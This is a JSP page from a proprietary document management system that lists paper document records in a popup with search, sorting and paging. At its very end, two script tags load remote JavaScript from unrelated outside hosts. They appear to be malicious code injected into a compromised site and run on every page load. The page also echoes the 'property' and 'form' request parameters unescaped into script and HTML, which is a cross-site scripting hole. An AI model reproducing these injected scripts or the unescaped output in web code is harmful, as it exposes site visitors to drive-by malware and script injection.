<%
/*
 * @(#)ListDmsPaperDocument.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListDmsPaperDocument.jsp

  This is a ListDmsPaperDocument page.  It shows the active documents' record in EIP.

    @author             Jenny Li
    @company            DCIVision Ltd
    @creation date      15/10/2004
    @version            $Revision: 1.11.2.8 $
*/
/* ********************************Modify History***********************************************
 * Modify by  : Jicle.Wang 
 * Modify date: 2006/08/21
 * BugID      : 6149
 * Description: 
 * *********************************************************************************************
 */
%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.dms.*" %>
<%@ page import="com.dcivision.dms.web.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.*" %>
<%@ page import="com.dcivision.framework.web.*" %>
<%@ page import="com.dcivision.forum.core.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listDmsPaperDocumentForm" scope="request" class="com.dcivision.dms.web.ListDmsPaperDocumentForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/

  String      LIST_NAME = "dmsPaperDocumentList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            //{"dms.columnheader.priority", "PRIORITY"},
                            {"dms.columnheader.doc_name", "DOCUMENT_NAME"},
                            {"dms.columnheader.location", GlobalConstant.NOT_AVAILABLE},
                            {"dms.label.reference_no", "REFERENCE_NO"},
                            {"common.columnheader.update_date", "UPDATE_DATE"},
                            {"common.columnheader.updater", "UPDATER_ID"}
                          };

  String[][] SEARCH_MAP = { {"dms.label.document_name", "DOCUMENT_NAME"},
                            {"dms.label.description", "DESCRIPTION"},
                            {"dms.label.reference_no", "REFERENCE_NO"}
                          };

  int     COLUMN_OFFSET = 1;

  String sCurFunctionCode = listDmsPaperDocumentForm.getCurFunctionCode()==null? (String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY): listDmsPaperDocumentForm.getCurFunctionCode();
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
  Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  String rootID = listDmsPaperDocumentForm.getRootID();
  String parentID = listDmsPaperDocumentForm.getParentID();

  PermissionManager permissionManager = sessionContainer.getPermissionManager();

  String directURL = (String)request.getAttribute("directURL");
  if (Utility.isEmpty(directURL)) {
//    directURL = request.getRealPath(request.getRequestURL().toString());
    directURL=request.getRequestURL().toString();
    directURL = new String(directURL.replaceAll("\\\\","/"));
    if (!Utility.isEmpty(request.getQueryString())) {
      directURL=directURL+"?"+request.getQueryString().toString();
    }
    int direU = directURL.indexOf("http");
    directURL = directURL.substring(direU,directURL.length());
    int realp = directURL.indexOf(""+request.getContextPath()+"");
    directURL = directURL.substring(realp,directURL.length());
  }
  directURL = java.net.URLEncoder.encode(directURL);

%>
<script language="Javascript">
<!--
function SetRecord(documentID, docReferenceNo, form) {
  var frm;
  if (!form || form == null) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
      }
    }
  } else {
    frm = window.opener.document.forms[form];
  }

  if ( frm.elements["documentID"] ) {
    frm.elements["documentID"].value = documentID;
  }
  frm.elements["<%=request.getParameter("property")%>"].value = docReferenceNo;
  window.close();
}
-->
</script>
<!-- Form Section Begin -->
<html:form action="dms/PopupPaperDocumentRecord" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="parentID"/>
<html:hidden property="rootID"/>
<html:hidden property='curFunctionCode'/>
<input type='hidden' name='form' value='<%=request.getParameter("form")%>'/>
<input type='hidden' name='property' value='<%=request.getParameter("property")%>'/>

<!-- Page Title Section Begin -->
<layout:titleFormat><font class="pageTitle"><layout:pageTitle/> </font></layout:titleFormat>
<!-- Page Title Section End -->
<%
  DocumentRetrievalManager docRetrievalManager = null;
  VersionControlManager verControlManager = null;
  ForumManager forumManager = null;
  try {
    docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);
    verControlManager = new VersionControlManager(sessionContainer, conn);
    forumManager=new ForumManager(sessionContainer, conn);
%>
<!-- Search Panel Begin -->
<table cellpadding="2" cellspacing="0" border="0" width="100%" height="40" background="<html:img src='LayoutFinderBg.gif'  pathOnly='true'/>">
  <tr>
    <td width="80">
      <nobr>&nbsp;&nbsp;<html:img src='IconFinder.gif' /><b>&nbsp;<bean:message key='common.label.search'/></b></nobr>
    </td>
    <td>
      <html:select property="basicSearchField">
      <html:options stringArray='<%=SEARCH_MAP%>'/>
      </html:select>
      <html:select property='basicSearchType'>
        <html:options listName='criteriaList'/>
      </html:select>
      <html:text property='basicSearchKeyword' size='25' maxlength='100'/>
      <html:standardButton label="common.label.go" onClick="return(OpList(listDmsPaperDocumentForm, '${listDmsPaperDocumentForm.sortAttribute}', '${listDmsPaperDocumentForm.sortOrder}'))"/>
      <html:standardButton label="common.label.reset" onClick="return OpListReset(listDmsPaperDocumentForm)"/>
    </td>
    <td align="right">
    </td>
  </tr>
</table>
<!-- Search Panel End -->

<table width="100%" cellpadding="20" cellspacing="0" border="0"><tr><td>

<!-- Table Showing Record List Begin -->
<table class="mainTable" cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td><table cellpadding="3" cellspacing="1" border="0" width="100%">
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listDmsPaperDocumentForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listDmsPaperDocumentForm.getSortAttribute()%>" sortOrder="<%=listDmsPaperDocumentForm.getSortOrder()%>" checkColumn="false" copyColumn="false" editColumn="false"/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="dmsDocument" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr id="tr<%=((AbstractBaseObject)dmsDocument).getID()%>" onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)dmsDocument).getID()%>);">

    <% //Details for Menu items
    DmsCheckoutHistory checkoutHistory = new DmsCheckoutHistory();
    String docItemStatus = ((DmsDocument) dmsDocument).getItemStatus();
    if (DmsVersion.EXCLUSIVE_LOCK.equals(docItemStatus)) {
       checkoutHistory = (DmsCheckoutHistory) verControlManager.getCheckoutHistory(((DmsDocument) dmsDocument).getCheckoutID());
    }

    //Permission string
    DmsDocument documentRoot = docRetrievalManager.getRootFolderByRootID(((DmsDocument) dmsDocument).getRootID());
    DmsRootDAObject dmsRootDAO =new DmsRootDAObject(sessionContainer,conn);
    DmsRoot dmsRoot=(DmsRoot)dmsRootDAO.getObjectByID(((DmsDocument) dmsDocument).getRootID());
    String permission = "";
    //String sCurFunctionCode="";
    if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(documentRoot.getDocumentName())) {
      permission = "PERSONAL";
      //sCurFunctionCode = SystemFunctionConstant.DMS_PERSONAL_FOLDER;
    } else {
      permission = (String) permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, ((DmsDocument)dmsDocument).getID());
      //sCurFunctionCode = SystemFunctionConstant.DMS_PUBLIC_FOLDER;
    }
    %>
    <td nowrap>
<%--
 /* Jicle.Wang 6149 2006/08/21 Start */
<a href="javascript:void(0);" onclick="return SetRecord('<bean:write name='dmsDocument' property='ID'/>', '<bean:write name='dmsDocument' property='referenceNo' replace=''/>', '<%=request.getParameter("form")%>');"><html:img src='IconDMSPaperDoc.gif' /><%=((DmsDocument)dmsDocument).getDocumentName()%>
--%>	
      <a href="javascript:void(0);" onclick="return SetRecord('<bean:write name='dmsDocument' property='ID'/>', '<bean:write name='dmsDocument' property='referenceNo' replace='' filter='false' escape='true'/>', '<%=request.getParameter("form")%>');"><html:img src='IconDMSPaperDoc.gif' /><%=((DmsDocument)dmsDocument).getDocumentName()%>
<%--
 /* Jicle.Wang 6149 2006/08/21 End   */
--%>
    </td>
    <td>
      <%if (((DmsDocument)dmsDocument).getParentID().intValue() !=0 ) {%>
      <%=docRetrievalManager.getLocationPath(((DmsDocument)dmsDocument).getParentID())%>
      <%}else{%>
      <bean:message key='dms.label.root'/>
      <%}%>
    </td>
    <td align="center" nowrap>
<%--
 /* Jicle.Wang 6149 2006/08/21 Start */
<a href="javascript:void(0);" onclick="return SetRecord('<bean:write name='dmsDocument' property='ID'/>', '<bean:write name='dmsDocument' property='referenceNo' replace=''/>', '<%=request.getParameter("form")%>');"><bean:write name='dmsDocument' property='referenceNo'/></a></td>
--%>
    <a href="javascript:void(0);" onclick="return SetRecord('<bean:write name='dmsDocument' property='ID'/>', '<bean:write name='dmsDocument' property='referenceNo' replace='' filter='false' escape='true'/>', '<%=request.getParameter("form")%>');"><bean:write name='dmsDocument' property='referenceNo'/></a></td>
<%--
 /* Jicle.Wang 6149 2006/08/21 End   */
--%>
    <td class="bodyVerySmall" nowrap><bean:write name='dmsDocument' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
    <td class="bodyVerySmall"><bean:write name='dmsDocument' property='updaterName'/></td>
  </tr>
  </logic:iterate>
  <!-- Record Looping End -->
  <!-- Pager Information Begin -->
  <layout:pager form="listDmsPaperDocumentForm" name='<%=LIST_NAME%>'>
  <tr class="listContent">
    <td colspan="<%=LABEL_MAP.length+COLUMN_OFFSET%>">
      <table width="100%" cellpadding="0" cellspacing="0" border="0">
        <tr>
          <td width="200">
            &nbsp;
          </td>
          <td align="center">
            <layout:pagerInfo/>
          </td>
          <td width="200" align="right">
            <nobr><layout:pagerIndex/></nobr>
          </td>
        </tr>
      </table>
    </td>
  </tr>
  </layout:pager>
  <!-- Pager Information End -->
</table>
</td></tr></table>
<!-- Table Showing Record List End -->
<br>
<table cellpadding="0" cellspacing="0" border="0" align="center" width="100%">
  <tr>
    <td><jsp:include page="AlertLegend.jsp"/></td>
  </tr>
  <tr>
    <td align="center"></td>
  </tr>
</table>
<%} catch (Exception e) {
    LogFactory.getLog(this.getClass()).error(e, e);
  } finally {
    try { docRetrievalManager.release(); } catch (Exception ignore) {} finally { docRetrievalManager = null; }
    try { verControlManager.release(); } catch (Exception ignore) {} finally { verControlManager = null; }
    try { forumManager.release(); } catch (Exception ignore) {} finally { forumManager = null; }
  }
%>
</td></tr></table>

</html:form>
<!-- Form Section End -->
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>